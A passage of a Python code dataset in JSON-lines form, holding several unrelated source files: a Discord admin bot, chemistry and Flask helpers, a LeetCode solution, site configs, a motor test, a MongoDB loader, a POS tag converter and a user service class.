'+command_prefix).join(commandList) + '```\\nUse `'+command_prefix+command_prefix+'` if you\\'d like to make your command and my response sticky.\\nFor more information about a specific command, call `'+command_prefix+'help [command]`.' # discord block code markup\r\n\r\n global servers\r\n global channels\r\n global admins\r\n\r\n config = yaml.load(open('config.yaml','r'))\r\n\r\n if isinstance(config['servers'],list):\r\n servers = [bot.get_server(str(s)) for s in config['servers']]\r\n else:\r\n servers = [bot.get_server(str(config['servers'])),]\r\n\r\n if isinstance(config['channels'],list):\r\n channels = [discord.Object(c) for c in config['channels']]\r\n else:\r\n channels = [discord.Object(config['channels']),]\r\n\r\n if isinstance(config['admins'],list):\r\n admins = [str(a) for a in config['admins']]\r\n else:\r\n admins = [str(config['admins']),]\r\n\r\n global token\r\n token = config['token']\r\n\r\n\r\nupdate()\r\n\r\nasync def updateOnCommand(message):\r\n update()\r\n await on_command_DM(message,'commandMatrix, servers, channels, admins updated.')\r\n forestLog.info('commandMatrix, servers, channels, admins updated.')\r\n\r\nasync def sendToAllChannels(message: str) :\r\n global channels\r\n messages = []\r\n for channel in channels:\r\n try:\r\n messages.append(await bot.send_message(channel, message))\r\n except (discord.errors.Forbidden, discord.errors.NotFound) as n:\r\n pass\r\n return messages\r\n\r\n# note that this only works if the admin and the bot are in at least one shared server\r\nasync def sendToAllAdmins(message: str) :\r\n global admins\r\n global servers\r\n forestLog.info(message)\r\n for admin in admins:\r\n messaged = False\r\n for server in servers:\r\n try:\r\n await bot.send_message(server.get_member(admin), message)\r\n messaged = True\r\n except (discord.errors.Forbidden, discord.errors.NotFound) as n:\r\n pass\r\n if messaged :\r\n break\r\n if not messaged :\r\n print('Was not able to find and message admin <@' + admin + '>')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Commands only usable by users with admin-listed ids\r\nadminMatrix = {}\r\nadminMatrix.update(dict.fromkeys(['ping'], 'Ping!'))\r\nadminMatrix.update(dict.fromkeys(['update'], updateOnCommand))\r\n\r\n# +avatar\r\n# note that, unlike commandMatrix callables, on_message only provides the original message to the admin command\r\nasync def avatarChange(message) :\r\n if not message.attachments :\r\n await getAvatar(message,message.channel)\r\n else :\r\n avatar = requests.get(message.attachments[0]['url'])\r\n try :\r\n await bot.edit_profile(avatar=avatar.content)\r\n await sendToAllAdmins('Avatar has been changed to\\n' + message.attachments[0]['url'])\r\n except discord.errors.InvalidArgument :\r\n await on_command_DM(message,'That\\'s the wrong filetype!')\r\nadminMatrix.update(dict.fromkeys(['avatar'], avatarChange))\r\n\r\n# +idle\r\n# Sets discord status to idle.\r\nasync def idleOn(message) :\r\n await bot.change_status(idle=True)\r\n try:\r\n await bot.delete_message(message)\r\n except discord.errors.Forbidden:\r\n pass\r\n await sendToAllAdmins('`ddoskiordbot` has been set to idle.')\r\nadminMatrix.update(dict.fromkeys(['idle','inactive', 'idleon'], idleOn))\r\n\r\n# +unidle\r\n# Sets discord status to active.\r\nasync def idleOff(message) :\r\n await bot.change_status(idle=False)\r\n try:\r\n await bot.delete_message(message)\r\n except discord.errors.Forbidden:\r\n pass\r\n await sendToAllAdmins('`ddoskiordbot` has been set to active.')\r\nadminMatrix.update(dict.fromkeys(['unidle','active', 'idleoff'], idleOff))\r\n\r\n# +playing [what's being played]\r\n# Sets playing/description in discord status.\r\nasync def playing(message) :\r\n # duplicates functionality already executed in on_message D:\r\n # this could be avoided if i either left this command in on_message\r\n # alternatively i could just break this prefix check out as its own python command\r\n if message.content.startswith(command_prefix + command_prefix):\r\n prefix_len = len(command_prefix) * 2\r\n else:\r\n prefix_len = len(command_prefix)\r\n terms = shlex.split(message.content[prefix_len:])[1:]\r\n\r\n if terms :\r\n status = discord.Game(name=' '.join(terms))\r\n await bot.change_status(game=status)\r\n try:\r\n await bot.delete_message(message)\r\n except discord.errors.Forbidden:\r\n pass\r\n await sendToAllAdmins('`ddoskiordbot` is now playing `' + status.name + '`')\r\n else :\r\n await idleOff(message)\r\nadminMatrix.update(dict.fromkeys(['playing', 'status'], playing))\r\n\r\n# +streaming [twitch url] [what's being played]\r\n# Sets playing/description in discord status.\r\nasync def streaming(message) :\r\n if message.content.startswith(command_prefix + command_prefix):\r\n prefix_len = len(command_prefix) * 2\r\n else:\r\n prefix_len = len(command_prefix)\r\n terms = shlex.split(message.content[prefix_len:])[1:]\r\n\r\n if terms :\r\n status = discord.Game(name=' '.join(terms[1:]),url=terms[0],type=1) #check +playing after this is run\r\n await bot.change_status(game=status)\r\n try:\r\n await bot.delete_message(message)\r\n except discord.errors.Forbidden:\r\n pass\r\n await sendToAllAdmins('`ddoskiordbot` is now streaming `' + status.name + '` at ' + status.url)\r\n # TODO: this command is incomplete. Should account for all errors. Not fixing now because errors are easily addressed within discord.\r\n else :\r\n await idleOff(message)\r\nadminMatrix.update(dict.fromkeys(['streaming'], streaming))\r\n\r\n# +say [string] OR +say [channel] [string]\r\n# Make ddoskiordbot say something in either a specific channel or everywhere\r\n# use ///\" and ///' if you want to use those characters\r\nasync def sayThis(message) :\r\n if message.content.startswith(command_prefix + command_prefix):\r\n prefix_len = len(command_prefix) * 2\r\n else:\r\n prefix_len = len(command_prefix)\r\n terms = shlex.split(message.content[prefix_len:])[1:]\r\n\r\n if (terms[0] == command_prefix + command_prefix + 'all') and message.channel.is_private :\r\n to_say = ' '.join(terms[1:])\r\n await sendToAllChannels(to_say)\r\n elif message.channel.is_private:\r\n whereToSay = bot.get_channel(terms[0])\r\n to_say = ' '.join(terms[1:])\r\n try:\r\n await bot.send_message(whereToSay, to_say)\r\n except discord.errors.InvalidArgument:\r\n bot.send_message(message.channel, 'That didn\\'t work. Did you remember to include a channel ID?')\r\n return\r\n else:\r\n try:\r\n await bot.delete_message(message)\r\n except discord.errors.Forbidden:\r\n # so you look less like a right bellend\r\n return\r\n to_say = ' '.join(terms)\r\n await bot.send_message(message.channel, to_say)\r\nadminMatrix.update(dict.fromkeys(['say'], sayThis))\r\n\r\n# proper shutdown command\r\nasync def shutdown(message):\r\n try:\r\n await bot.delete_message(message)\r\n except discord.errors.Forbidden:\r\n pass\r\n await sendToAllAdmins('Hibernating.')\r\n forestLog.info('ddoskiordbot went to sleep.')\r\n await bot.logout()\r\n sys.exit()\r\nadminMatrix.update(dict.fromkeys(['shutdown','sd'], shutdown))\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Commands too complicated to (easily) load in via yaml.\r\n# The call in on_message provides (message,message.channel,terms,fixed) which must be included in arguments for commands added to the commandMatrix even if they aren't used or else we get a runtime error.\r\n\r\n# +avatar\r\n# Returns url for ddoskiordbot's current avatar\r\nasync def getAvatar(message,channel,terms=None,fixed=False) :\r\n if bot.user.avatar_url :\r\n await on_command(message,channel,bot.user.avatar_url,fixed)\r\n else:\r\n await on_command(message,channel,bot.user.default_avatar_url,False,10)\r\ncommandMatrix.update({'avatar':dict([('cl', ['avatar','icon','dp']), ('do', getAvatar), ('tr', None), ('of', 'Returns the url for `ddoskiordbot`\\'s current avatar.')])})\r\n\r\n# +commands\r\n# List all commands. If requester is admin, DM them a list of admin commands.\r\nasync def commandsQuery(message,channel,terms=None,fixed=False) :\r\n global commandList\r\n if message.author.id in admins :\r\n # await on_command_DM(message,'Admin-only commands: `' + command_prefix + ('`, `'+command_prefix).join(list(adminMatrix.keys()))+'`')\r\n await on_command_DM(message,'Admin-only commands: ```' + command_prefix + (', '+command_prefix).join(list(adminMatrix.keys()))+'```')\r\n await on_command(message,channel,commandList,fixed)\r\ncommandMatrix.update({'commands':dict([('cl', ['commands','command']), ('do', commandsQuery), ('tr', None), ('of', 'Lists possible `ddoskiordbot` commands.')])})\r\n\r\n# +help\r\n# Provides helptext for each `ddoskiordbot` command, or general helptext if no command is queried.\r\nasync def helpQuery(message,channel,terms=None,fixed=False):\r\n global commandDict\r\n if terms :\r\n if (terms[0] in commandDict.keys()) :\r\n if commandMatrix[commandDict[terms[0]]]['tr'] is not None :\r\n await on_command(message,channel,'`'+command_prefix+terms[0]+' '+commandMatrix[commandDict[terms[0]]]['tr']+'` '+commandMatrix[commandDict[terms[0]]]['of'],fixed)\r\n else :\r\n await on_command(message,channel,'`'+command_prefix+terms[0]+'` '+commandMatrix[commandDict[terms[0]]]['of'],fixed)\r\n else :\r\n await on_command(message,channel, 'No such command found.',False,10)\r\n else :\r\n await on_command(message,channel,'Use `'+command_prefix+'commands` for a list of available commands, `'+command_prefix+'help [command]` for details on each specific command, and `'+command_prefix+'repo` to see and contribute to my Github repository. Use `'+command_prefix+command_prefix+'` if you\\'d like to sticky a response from me.\\nFor support, please create an issue on Github or contact Storian Logi.',fixed)\r\ncommandMatrix.update({'help':dict([('cl', ['help']), ('do', helpQuery), ('tr', '[command]'), ('of', 'Provides helptext for each `ddoskiordbot` command, or general helptext if no command is queried.')])})\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Startup script.\r\n@bot.event\r\nasync def on_ready():\r\n global alreadyRunning\r\n if alreadyRunning:\r\n return\r\n else:\r\n alreadyRunning = True\r\n\r\n print('------')\r\n print('Logged in as:')\r\n print('Username: ' + bot.user.name)\r\n print(' ID: ' + bot.user.id)\r\n print('------')\r\n update()\r\n\r\n # Startup message\r\n await sendToAllAdmins('`ddoskiordbot`, heading out into the world.')\r\n\r\n\r\n\r\n# for use in channels\r\nasync def on_command(message,channel,text,fixed=False,time=300):\r\n try:\r\n d = await bot.send_message(channel,text)\r\n except discord.errors.Forbidden:\r\n pass\r\n if not fixed:\r\n await asyncio.sleep(time)\r\n await bot.delete_message(d)\r\n try:\r\n await bot.delete_message(message)\r\n except (discord.errors.Forbidden, discord.errors.NotFound):\r\n return\r\n\r\n# for use in in-channel commands returning a DM (eg +help)\r\nasync def on_command_DM(message,text):\r\n await bot.send_message(message.author,text)\r\n try:\r\n await bot.delete_message(message)\r\n except (discord.errors.Forbidden, discord.errors.NotFound):\r\n return\r\n\r\n# compiles report to be logged/printed\r\ndef commandReport(message,command,fixed,terms=''):\r\n command = command_prefix + command\r\n if fixed:\r\n command = command_prefix + command\r\n if terms:\r\n terms = ' '.join(terms)\r\n command = command + ' ' + terms\r\n if message.channel.is_private:\r\n report = command + ' by ' + message.author.name + ' <@' + message.author.id + '> DM'\r\n else:\r\n report = command + ' by ' + message.author.name + ' <@' + message.author.id + '> in #' + message.channel.name + ' <#' + message.channel.id + '> of ' + message.server.name + ' (ID#' + message.server.id + ')'\r\n return report\r\n\r\n\r\n\r\n# discord.py Bot class commands don't work, so Bot is used as an extension of Client.\r\n@bot.event\r\nasync def on_message(message):\r\n\r\n global servers\r\n # ddoskiordbot shouldn't talk to herself\r\n if message.author == bot.user :\r\n return\r\n # ddoskiordbot logs DMs to file and checks if an admin sent it. ddoskiordbot will not respond to DMs not by admins.\r\n # If an admin sent it, she'll check if it was a command. If it is, it'll go through the process.\r\n elif message.channel.is_private :\r\n if message.attachments :\r\n forestLog.info(message.author.name + ' <@' + message.author.id + '> DM: ' + message.content + ' [' + message.attachments[0]['filename'] + ']\\n' + message.attachments[0]['url'])\r\n else :\r\n forestLog.info(message.author.name + ' <@' + message.author.id + '> DM: ' + message.content)\r\n global admins\r\n if (message.author.id not in admins or (not message.content.startswith(command_prefix))) :\r\n return\r\n # ddoskiordbot shouldn't listen to things that aren't commands or servers that aren't whitelisted\r\n # elif (message.server not in servers or (not message.content.startswith(command_prefix))) :\r\n elif not message.content.startswith(command_prefix) :\r\n return\r\n\r\n # Determines if command is fixed, what the command is, and what the terms are\r\n # Might want to consider breaking this out into its own python command that returns a dict\r\n if message.content.startswith(command_prefix + command_prefix):\r\n fixed = True\r\n prefix_len = len(command_prefix) * 2\r\n else:\r\n fixed = False\r\n prefix_len = len(command_prefix)\r\n parsed_message = shlex.split(message.content.lower()[prefix_len:])\r\n command = parsed_message[0]\r\n terms = parsed_message[1:]\r\n print(command)\r\n\r\n # any function that responds to a message will take the triggering message \"message\", whether or not to not delete the triggering message and its reponse \"fixed\", and any additional terms that refine the general command \"terms\"\r\n # if an admin command and a regular command have the same trigger (e.g. _avatar), the admin command takes priority\r\n if (command in list(adminMatrix.keys())) and (message.author.id in admins) and message.channel.is_private:\r\n todo = adminMatrix[command]\r\n if isinstance(todo, str):\r\n forestLog.info(commandReport(message,command,fixed))\r\n await on_command_DM(message,todo)\r\n elif callable(todo):\r\n forestLog.info(commandReport(message,command,fixed))\r\n asyncio.ensure_future(todo(message))\r\n else:\r\n forestLog.warning('something went wrong with admin command ' + message.content[:(prefix_len-1)] + command)\r\n return\r\n elif command in list(commandDict.keys()):\r\n todo = commandMatrix[commandDict[command]]['do']\r\n if isinstance(todo, str):\r\n forestLog.info(commandReport(message,command,fixed))\r\n await on_command(message,message.channel,todo,fixed) # TODO: need to account for commands not intended to last for 60s\r\n elif callable(todo):\r\n forestLog.info(commandReport(message,command,fixed))\r\n asyncio.ensure_future(todo(message,message.channel,terms,fixed)) # note the await. none of these commands will not involve posting something to discord (and therefore requiring an await)\r\n else:\r\n forestLog.warning('something went wrong with ' + message.content[:(prefix_len-1)] + command)\r\n return\r\n else :\r\n return\r\n\r\nglobal token\r\nbot.run(token)\r\n","sub_path":"ddoskiordbot.py","file_name":"ddoskiordbot.py","file_ext":"py","file_size_in_byte":17998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"279450479","text":"###################################################\n## ##\n## This file is part of the KinBot code v2.0 ##\n## ##\n## The contents are covered by the terms of the ##\n## BSD 3-clause license included in the LICENSE ##\n## file, found at the root. ##\n## ##\n## Copyright 2018 National Technology & ##\n## Engineering Solutions of Sandia, LLC (NTESS). ##\n## Under the terms of Contract DE-NA0003525 with ##\n## NTESS, the U.S. Government retains certain ##\n## rights to this software. ##\n## ##\n## Authors: ##\n## Judit Zador ##\n## Ruben Van de Vijver ##\n## ##\n###################################################\nimport os, sys\n\nfrom constants import *\nimport par\n\ndef create_molpro_input(species, natom, atom, mult, charge, wellorts):\n \"\"\"\n Create the input for molden\n \n species: stationary point object\n natom: number of atoms in the stationary point\n atom: elements of all the atoms in the stationary point\n mult: multiplicity of the stationary point\n charge: charge of the stationary point\n wellorts: 1 for transition states, 0 for molecules\n \"\"\"\n \n with open(par.tpldir + 'molpro.tpl') as f:\n file = f.read()\n \n fname = str(species.chemid)\n if wellorts: fname = species.name\n \n geom = ''\n nelectron = 0\n for i,at in enumerate(atom):\n x,y,z = species.geom[i]\n geom += '{} {:.8f} {:.8f} {:.8f}\\n'.format(at,x,y,z)\n nelectron += znumber[at]\n \n nelectron -= charge\n \n outf = open('molpro/' + fname + '.inp','w')\n outf.write(file.format( name = fname,\n natom = natom,\n atom = atom,\n geom = geom,\n nelectron = nelectron,\n spin = mult - 1,\n charge = charge\n ))\n outf.close()\n\ndef get_molpro_energy(species,wellorts):\n \"\"\"\n Verify if there is a molpro output file and if yes, read the energy\n \"\"\"\n fname = str(species.chemid)\n if wellorts: fname = species.name\n \n status = os.path.exists('molpro/' + fname + '.out')\n \n if status:\n with open('molpro/' + fname + '.out') as f:\n lines = f.readlines()\n \n for index, line in enumerate(reversed(lines)):\n if 'SETTING MYENA' in line:\n return 1, float(line.split()[2])\n else:\n return 0, -1\n","sub_path":"kinbot/molpro.py","file_name":"molpro.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"319453683","text":"from flask import Flask \nfrom flask import request\nfrom flask import jsonify\nfrom flask_cors import CORS\nimport anonymForm\n\napp = Flask(__name__) \nCORS(app)\n\n@app.route(\"/\") \ndef hello(): \n return \"Bruh!\" \n\n'''\nPython back end is running on localhost:5000\nUI is running on localhost:3000. but using an alias to \nappear as localhost:5000\n'''\n@app.route(\"/api\", methods=['GET','POST'])\ndef processData():\n if request.method == 'GET':\n return \"It works!\"\n\n if request.method == 'POST':\n response = request.json\n anonymForm.createReport(response) \n return jsonify(response)\n\n\nif __name__ == \"__main__\":\n app.run(host = 'localhost') ","sub_path":"formFilling/venv/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"280702429","text":"class Solution(object):\n def lengthOfLongestSubstring(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n if s == \"\":\n return 0\n index = {s[0]:0}\n start, end = 0, 1\n max_length = 1\n while end < len(s):\n if s[end] not in index:\n max_length = max(max_length, end - start + 1)\n index[s[end]] = end\n else:\n old_start = start\n start = index[s[end]] + 1\n max_length = max(max_length, end - start + 1)\n for i in range(old_start, start - 1):\n if s[i] in index and index[s[i]] < start:\n del index[s[i]]\n index[s[end]] = end\n end += 1\n return max_length\n","sub_path":"Longest Substring Without Repeating Characters.py","file_name":"Longest Substring Without Repeating Characters.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"507637416","text":"import os\n\n\ndef geth2(x):\n ix = float(x)\n th2 = ix * ix\n return th2\n\n\nh2 = geth2(input(\"请输入你的身高，以米为单位\"))\ng2 = int(input(\"请输入你的体重，以公斤为单位\"))\nbmi = g2 / h2\n\nif bmi < 18.5:\n jg = \"体重偏轻\"\nelif bmi >= 18.5 and bmi < 24:\n jg = \"体重正常\"\nelse:\n jg = \"体重偏重\"\nprint(\"你的BMI值是\" + str(bmi) + jg)\n\nos.system(\"pause\")\n","sub_path":"作业2.py","file_name":"作业2.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"273913929","text":"# -*- coding: utf-8 -*-\n#\n# -- General configuration -----------------------------------------------------\n\nsource_suffix = '.rst'\nmaster_doc = 'index'\n\nproject = u'sphinx theme for basicstrap style'\ncopyright = u'2014, tell-k'\n\nversion = '0.4.1'\n\n# -- Options for HTML output ---------------------------------------------------\n\nextensions = ['sphinxjp.themes.basicstrap']\nhtml_theme = 'basicstrap'\n\n# -- HTML theme options for `basicstrap` style -------------------------------------\n\nhtml_theme_options = {\n 'lang': 'en',\n 'nosidebar': False,\n 'rightsidebar': False,\n 'sidebar_span': 3,\n 'nav_fixed_top': True,\n\n 'nav_fixed': False,\n 'nav_width': '900px',\n\n 'content_fixed': False,\n 'content_width': '900px',\n\n 'row_fixed': False,\n 'noresponsive': False,\n 'noflatdesign': False,\n\n 'googlewebfont': False,\n 'googlewebfont_url': 'http://fonts.googleapis.com/css?family=Lily+Script+One',\n 'googlewebfont_style': u\"font-family: 'Lily Script One' cursive;\",\n\n 'header_inverse': False,\n 'relbar_inverse': False,\n\n 'inner_theme': False,\n 'inner_theme_name': 'bootswatch-flatly',\n\n 'bootstrap_version': '3',\n 'quick_preview': True,\n\n # 'h1_size': '3.0em',\n # 'h2_size': '2.6em',\n # 'h3_size': '2.2em',\n # 'h4_size': '1.8em',\n # 'h5_size': '1.4em',\n # 'h6_size': '1.1em',\n}\n","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"318634415","text":"import RPi.GPIO as GPIO\nfrom time import sleep\n\nstp_pin = 6\ndir_pin = 7\nMicros = (23, 24, 25)\ndelay = 0.0208 / 32\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(Micros, GPIO.OUT)\nGPIO.setup(stp_pin, GPIO.OUT)\nGPIO.setup(dir_pin, GPIO.OUT)\n\nresolution = {\"1\": (0, 0, 0),\"1/2\": (1, 0, 0),\"1/4\": (0, 1, 0),\"1/8\": (1, 1, 0),\"1/16\": (0, 0, 1),\"1/32\": (1, 0, 1)}\nGPIO.output(Micros, resolution[\"1/32\"])\n\nwhile True:\n GPIO.output(stp_pin, GPIO.HIGH)\n sleep(delay)\n GPIO.output(stp_pin, GPIO.LOW)\n sleep(delay)\n","sub_path":"test files/motor_test.py","file_name":"motor_test.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"94680380","text":"import sys\nimport re\n\nfo = open(\"brown.tagged.merged.uniq\")\nfor line in fo:\n line = line.strip()\n tkn = line.split()\n out = []\n for word, tag in [re.split(\"/(?=[^/]+$)\", x) for x in tkn]:\n if tag == \"AP\": tag = \"JJ\"\n if tag == \"BE\": tag = \"VB\"\n if tag == \"BED\": tag = \"VBD\"\n if tag == \"BEG\": tag = \"VBG\"\n if tag == \"BEM\": tag = \"VBP\"\n if tag == \"BEN\": tag = \"VBN\"\n if tag == \"BER\": tag = \"VBP\"\n if tag == \"BEZ\": tag = \"VBZ\"\n if tag == \"HV\": tag = \"VB\"\n if tag == \"HVD\": tag = \"VBD\"\n if tag == \"HVG\": tag = \"VBG\"\n if tag == \"HVN\": tag = \"VBN\"\n out.append(word + \"/\" + tag)\n continue\n if re.search(\"'s\", word):\n if tag.count(\"+\") > 0:\n tags = tag.split(\"+\")\n print(word[:-2], tags[0])\n print(word[-2:], tags[1])\n else:\n if tag[-1] != \"$\":\n print(word, tag)\n else:\n print(word[:-2], tag[:-1])\n print(word[-2:], \"POS\")\n print(\" \".join(out))\nfo.close()\n\n'''\n===================\nBrown Corpus Tagset\n===================\n\n. sentence (. ; ? *)\n( left parenthesis\n) right parenthesis\n* not, n't\n-- dash\n, comma\n: colon\nABL pre-qualifier (quite, rather)\nABN pre-quantifier (half, all)\nABX pre-quantifier (both)\nAP post-determiner (many, several, next)\nAT article (a, the, no)\nBE be\nBED were\nBEDZ was\nBEG being\nBEM am\nBEN been\nBER are, art\nBEZ is\nCC coordinating conjunction (and, or)\nCD cardinal numeral (one, two, 2, etc.)\nCS subordinating conjunction (if, although)\nDO do\nDOD did\nDOZ does\nDT singular determiner/quantifier (this, that)\nDTI singular or plural determiner/quantifier (some, any)\nDTS plural determiner (these, those)\nDTX determiner/double conjunction (either)\nEX existential there\nFW foreign word (hyphenated before regular tag)\nHV have\nHVD had (past tense)\nHVG having\nHVN had (past participle)\nIN preposition\nJJ adjective\nJJR comparative adjective\nJJS semantically superlative adjective (chief, top)\nJJT morphologically superlative adjective (biggest)\nMD modal auxiliary (can, should, will)\nNC cited word (hyphenated after regular tag)\nNN singular or mass noun\nNN$ possessive singular noun\nNNS plural noun\nNNS$ possessive plural noun\nNP proper noun or part of name phrase\nNP$ possessive proper noun\nNPS plural proper noun\nNPS$ possessive plural proper noun\nNR adverbial noun (home, today, west)\nOD ordinal numeral (first, 2nd)\nPN nominal pronoun (everybody, nothing)\nPN$ possessive nominal pronoun\nPP$ possessive personal pronoun (my, our)\nPP$$ second (nominal) possessive pronoun (mine, ours)\nPPL reflexive personal pronoun, singular (myself)\nPPLS reflexive personal pronoun, plural (ourselves)\nPPO objective personal pronoun (me, him, it, them)\nPPS nominative personal pronoun, 3rd person singular (he, she, it, one)\nPPSS nominative personal pronoun, other (I, we, they, you)\nPRP personal pronoun\nPRP$ possessive pronoun\nQL qualifier (very, fairly)\nQLP post-qualifier (enough, indeed)\nRB adverb\nRBR comparative adverb\nRBT superlative adverb\nRN nominal adverb (here, then, indoors)\nRP adverbial particle (about, off, up)\nTO infinitive marker to\nUH interjection, exclamation\nVB verb, base form\nVBD verb, past tense\nVBG verb, present participle/gerund\nVBN verb, past participle\nVBP verb, non 3rd person singular present\nVBZ verb, 3rd person singular present\nWDT wh-determiner (what, which)\nWP$ possessive wh-pronoun (whose)\nWPO objective wh-pronoun (whom, which, that)\nWPS nominative wh-pronoun (who, which, that)\nWQL wh-qualifier (how)\nWRB wh-adverb (how, where, when)\n\n====================\nUniversal POS tagset\n====================\n\nADJ adjective\nADP adposition\nADV adverb\nAUX auxiliary\nCCONJ coordinating conjunction\nDET determiner\nINTJ interjection\nNOUN noun\nNUM numeral\nPART particle\nPRON pronoun\nPROPN proper noun\nPUNCT punctuation\nSCONJ subordinating conjunction\nSYM symbol\nVERB verb\nX other\n'''\n","sub_path":"pos-tagging/brown2ud.py","file_name":"brown2ud.py","file_ext":"py","file_size_in_byte":4122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"466285415","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = u'Sam Itskin'\nSITENAME = u'The Itskin Blog'\nSITEURL = 'https://sitskin.github.io'\nSITESUBTITLE = u'Thoughts on Code'\n\nPATH = 'content'\n\nTIMEZONE = 'America/Regina'\n\nDEFAULT_LANG = 'English'\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\nARTICLE_UTL = '{date:%Y}/{date:%m}/{date:%d}/{slug}/'\nARTICLE_SAVE_AS = '{date:%Y}/{date:%m}/{date:%d}/{slug}/index.html'\n\n# Blogroll\nLINKS = (('Pelican', 'http://getpelican.com/'),\n ('Python.org', 'http://python.org/'),\n ('Jinja2', 'http://jinja.pocoo.org/'),\n ('You can modify those links in your config file', '#'),)\n\n# Social widget\nSOCIAL = (('You can add links in your config file', '#'),\n ('Another social link', '#'),)\n\nDEFAULT_PAGINATION = 10\n\nTHEME = \"./pelican-themes/octopress\"\n\nPLUGIN_PATHS = [\"./pelican-plugins\"]\nPLUGINS = ['sitemap']\n\nSITEMAP = {\n 'format': 'xml',\n 'priorities': {\n 'articles': 0.5,\n 'indexes': 0.5,\n 'pages': 0.5\n },\n 'changefreqs': {\n 'articles': 'monthly',\n 'indexes': 'weekly',\n 'pages': 'monthly'\n }\n }\n\n\n# Uncomment following line if you want document-relative \nRELATIVE_URLS = True\n","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"331845115","text":"import pymongo, sqlite3, pymongo, os\nimport dns\nimport pandas as pd\nimport numpy as np\nimport contextlib\nfrom pathlib import Path\n\nfrom dotenv import load_dotenv\nload_dotenv()\n\n\npath = Path(\"module1-introduction-to-sql/rpg_db.sqlite3\")\n\nwith contextlib.closing(sqlite3.connect(path)) as con:\n\n with con as c:\n\n q = \"\"\"\n select \n count(DISTINCT character_id)\n\n from charactercreator_character;\n \"\"\"\n\n result = c.execute(q).fetchone()\n #print(result)\n\n char_tables_list= [\n 'character',\n 'character_inventory',\n 'mage',\n 'necromancer',\n 'thief',\n 'cleric',\n 'fighter',\n ]\n\n tables = dict()\n\n for s in char_tables_list:\n tables[s] = pd.read_sql(f\"select * from charactercreator_{s}\", con)\n\n #print(tables[s].head())\n\n armory_tables_list = [\n 'item',\n 'weapon'\n ]\n\n armory = dict()\n for s in armory_tables_list:\n armory[s] = pd.read_sql(f\"select * from armory_{s}\", con)\n #print(armory[s].head())\n\n\nuri = os.getenv(\"mongo_db_uri\")\n\nclient = pymongo.MongoClient(uri)\n\ndb = client['rpg']\n\nfor s in char_tables_list:\n col = db[s]\n col.drop()\n \n df = tables[s]\n col.insert_many(df.to_dict(orient='records'))\n\nfor s in armory_tables_list:\n col = db[s]\n col.drop()\n \n df = armory[s]\n col.insert_many(df.to_dict(orient='records'))\n\n","sub_path":"module4-acid-and-database-scalability-tradeoffs/load_rpg_data.py","file_name":"load_rpg_data.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"638321440","text":"from repositories.userrepository import UserRepository\nfrom models.user import User\nfrom datetime import datetime\nimport getpass\nimport sys\n\n\nclass UserService:\n\n def __init__(self):\n self.__userRepo = UserRepository()\n self.__users = self.__userRepo.getUserList()\n\n def addUser(self, newUser):\n newUser.id = len(self.__users)\n self.__users.append(newUser)\n self.__userRepo.addUser(newUser)\n\n def updateUser(self, userToUpdate):\n for user in self.__users:\n if user.id == int(userToUpdate.id):\n user = userToUpdate\n self.__userRepo.overwriteUsers(self. __users)\n\n def getUserByEmail(self, email):\n for user in self.__users:\n if user.email == email:\n return user\n return \"Not found\"\n\n def getUserBySocial(self, socialNumber):\n for user in self.__users:\n if user.socialNumber == socialNumber:\n return user\n return \"Not found\"\n\n def getUserListBySocial(self, socialNumber):\n userList = []\n for user in self.__users:\n if user.socialNumber == socialNumber:\n userList.append(user)\n return userList\n\n def deleteUser(self, userID):\n success = False\n for user in self.__users:\n if str(user.id) == str(userID):\n user.deleted = \"1\"\n success = True\n break\n if success:\n self.__userRepo.overwriteUsers(self.__users)\n return success\n\n def isValidUserId(self, UserId):\n for user in self.__users:\n if user.id == UserId and user.employee != 1 and user.deleted != 1:\n return True\n return False\n\n def isValidName(self, name):\n if name == \"q\":\n sys.exit()\n elif len(name) > 50 or len(name) <= 0:\n return \"length\"\n else:\n return \"\"\n\n def isValidEmail(self, email):\n if email == \"q\":\n sys.exit()\n elif \"@\" not in email:\n return \"invalid\"\n else:\n return \"\"\n\n def isValidPassword(self, password):\n if password == \"q\":\n sys.exit()\n elif len(password) < 8:\n return \"short\"\n elif len(password) > 30:\n return \"long\"\n else:\n return \"\"\n\n def isValidSocialNumber(self, socialNumber):\n if socialNumber == \"q\":\n sys.exit()\n elif socialNumber.isdecimal() == False:\n return \"numbers\"\n elif len(socialNumber) != 10:\n return \"length\"\n else:\n return \"\"\n\n def isValidDriverLicense(self, driverLicense):\n if driverLicense == \"q\":\n sys.exit()\n elif driverLicense.isdecimal() == False:\n return \"numbers\"\n elif len(driverLicense) != 9:\n return \"length\"\n else:\n return \"\"\n\n def isValidAddress(self, address):\n if address == \"q\":\n sys.exit()\n elif len(address) <= 